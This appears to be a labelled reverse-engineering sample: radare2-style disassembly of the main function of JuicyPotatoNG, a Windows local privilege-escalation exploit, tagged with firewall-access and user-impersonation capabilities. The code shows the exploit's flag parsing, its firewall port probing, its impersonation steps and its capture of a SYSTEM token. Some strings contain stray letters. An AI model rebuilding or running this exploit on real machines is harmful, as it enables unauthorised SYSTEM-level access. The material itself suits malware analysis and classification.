Function at 0x140001b20
Capabilities:
Access firewall settings via inetfwmgr
Impersonate user

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x100
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov eax, dword [0x140021ab8]
lea rdi, [rbp - 0x29]
movaps xmm0, xmmword [str.854A20FB_2D44_457D_992F_EF13785D2B51]
lea rsi, [rbp - 0x39]
movaps xmm1, xmmword [0x140021a80]
mov r8d, ecx
movaps xmmword [rbp - 0x29], xmm0
movaps xmm0, xmmword [0x140021a90]
mov dword [rbp + 0x1f], eax
movzx eax, word [0x140021abc]
movaps xmmword [rbp - 9], xmm0
movsd xmm0, qword [0x140021ab0]
mov word [rbp + 0x23], ax
mov eax, dword [0x140021ac8]
mov dword [rbp - 0x31], eax
xor eax, eax
movsd qword [rbp + 0x17], xmm0
mov r14d, eax
movsd xmm0, qword [str.10247]
mov r15d, eax
movaps xmmword [rbp - 0x19], xmm1
mov r12d, eax
movaps xmm1, xmmword [0x140021aa0]
mov ebx, eax
movsd qword [rbp - 0x39], xmm0
mov r13d, eax
movaps xmmword [rbp + 7], xmm1
mov qword [rsp + 0x40], rax
mov dword [rbp - 0x71], eax
cmp ecx, 1
jle 0x140001c97
add rdx, 8
lea r10, [0x140000000]
nop dword [rax]
mov r9, qword [rdx]
cmp word [r9], 0x2d
jne 0x140001c93
movzx eax, word [r9 + 2]
add eax, 0xffffff9f
cmp eax, 0x19
ja case.0x140001c1c.100
cdqe
mov ecx, dword [r10 + rax*4 + 0x2020]
add rcx, r10
jmp rcx
mov r15, qword [rdx + 8]
add rdx, 8
dec r8d
jmp 0x140001c82
mov r14, qword [rdx + 8]
add rdx, 8
dec r8d
jmp 0x140001c82
mov rax, qword [rdx + 8]
add rdx, 8
mov qword [rsp + 0x40], rax
dec r8d
jmp 0x140001c82
mov rdi, qword [rdx + 8]
add rdx, 8
dec r8d
jmp 0x140001c82
mov rsi, qword [rdx + 8]
add rdx, 8
dec r8d
jmp 0x140001c82
mov dword [rbp - 0x71], 1
jmp 0x140001c82
mov r12d, 1
jmp 0x140001c82
mov ebx, 1
jmp 0x140001c82
mov r13d, 1
add rdx, 8
dec r8d
cmp r8d, 1
jg 0x140001bf0
test ebx, ebx
jne 0x140001caf
lea rcx, str._n_n_t_Juicy1_n
call fcn.140001010
lea rcx, str._t_332e_n_n
call fcn.140001010
test r12d, r12d
je 0x140001cbe
call fcn.140001130
jmp 0x140001f95
test r13d, r13d
je 0x140001ddf
lea rcx, str.___Finding_suitable_port_not_filtered_by_Windows_Defender_Firewall_to_be_used_in_our_local_COM_Server_port._n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
xor edx, edx
lea rax, [rsp + 0x48]
lea r9, [0x1400194f0]
mov qword [rsp + 0x20], rax
lea rcx, [0x140019500]
lea r8d, [rdx + 1]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x38]
mov rcx, qword [rsp + 0x40]
lea rdx, [rbp - 0x79]
mov rax, qword [rcx]
call qword [rax + 0x38]
mov rcx, qword [rbp - 0x79]
lea rdx, [rbp - 0x71]
mov rax, qword [rcx]
call qword [rax + 0x40]
cmp word [rbp - 0x71], 0
jne 0x140001d41
lea rcx, str.___Windows_Defender_Firewall_not_enabled._Every_COM_port_will_work._n
call fcn.140001010
jmp 0x140001da9
mov ebx, 0x14
lea rdi, [0x140021a68]
nop dword [rax]
mov rcx, qword [rsp + 0x48]
lea rdx, [rbp - 0x51]
mov qword [rsp + 0x38], rdx
mov r9d, ebx
lea rdx, [rbp - 0x69]
mov r8d, 2
mov qword [rsp + 0x30], rdx
lea rdx, str.System
mov rax, qword [rcx]
mov dword [rsp + 0x28], 6
mov qword [rsp + 0x20], rdi
call qword [rax + 0x50]
cmp word [rbp - 0x61], 0
je 0x140001d9f
mov edx, ebx
lea rcx, str.___Found_non_filtered_port:__d__n
call fcn.140001010
inc ebx
cmp ebx, 0xffff
jl 0x140001d50
mov rcx, qword [rbp - 0x79]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x140001f95
test ebx, ebx
jne 0x140001e07
test r15, r15
je 0x14000200f
test r14, r14
je 0x14000200f
mov r8, rsi
lea rcx, str.___Testing_CLSID__S___COM_server_port__S__n
mov rdx, rdi
call fcn.140001010
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [0x140026eb0], rax
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x140026ea0], rax
xor eax, eax
mov qword [0x140026e98], rax
mov qword [0x140026ea8], rax
mov dword [0x140026eb8], eax
mov qword [0x140026ee0], rdi
call qword [sym.imp.Secur32.dll_InitSecurityInterfaceW]
lea rcx, [0x140002a40]
mov r9d, 9
lea r8, str.JuicyPotatoNG
lea rdx, [0x140021c4c]
mov qword [rax + 0x38], rcx
lea rax, [rbp - 0x79]
mov qword [rsp + 0x28], rax
lea rcx, str.JuicyPotatoNG
mov dword [rsp + 0x20], 3
call qword [sym.imp.ADVAPI32.dll_LogonUserW]
test eax, eax
je 0x140001ff0
mov rcx, qword [rbp - 0x79]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov rdx, rsi
mov rcx, rdi
call fcn.140002620
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov rcx, qword [0x140026eb0]
test ebx, ebx
jne 0x140001f44
mov edx, 0xbb8
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140001ee7
lea rcx, str.____The_privileeged_preocess_failed_to_ceommuniceate_with_our_COM_Server_:__Try_a_different_COM_port_in_the__l_flag.__n
call fcn.140001010
jmp 0x140001f61
mov rcx, qword [0x140026ea0]
mov edx, 0xbb8
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [0x140026eb8], 0
je 0x140001f36
cmp eax, 0x102
jne 0x140001f17
lea rcx, str.____Caennot_ceapture_a_valid_eSYSTEMe_tokeen__exiting...__n
call fcn.140001010
jmp 0x140001f61
mov r9d, dword [rbp - 0x71]
mov rdx, r14
mov r8, qword [rsp + 0x40]
mov rcx, r15
call fcn.1400021c0
lea rcx, str.___Eexploeit_sueccessful___n
test eax, eax
jne 0x140001f3d
lea rcx, str.____Expleoit_faileed___n
call fcn.140001010
jmp 0x140001f61
mov edx, 0x1f4
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x140026ea0]
mov edx, 0x1f4
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x140026eb0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140026ea0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140026e98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140026ea8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140002d40
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140002600
xor ecx, ecx
call fcn.14000bdb0
int3
mov rdx, r9
lea rcx, str.Wrong_Argument:__S_n
call fcn.140001010
call fcn.140002600
mov ecx, 0xffffffff
call fcn.14000bdb0
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____LogonUswer_failed_with_error_code__d__n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.14000bdb0
int3
call fcn.140002600
mov ecx, 0xffffffff
call fcn.14000bdb0
int3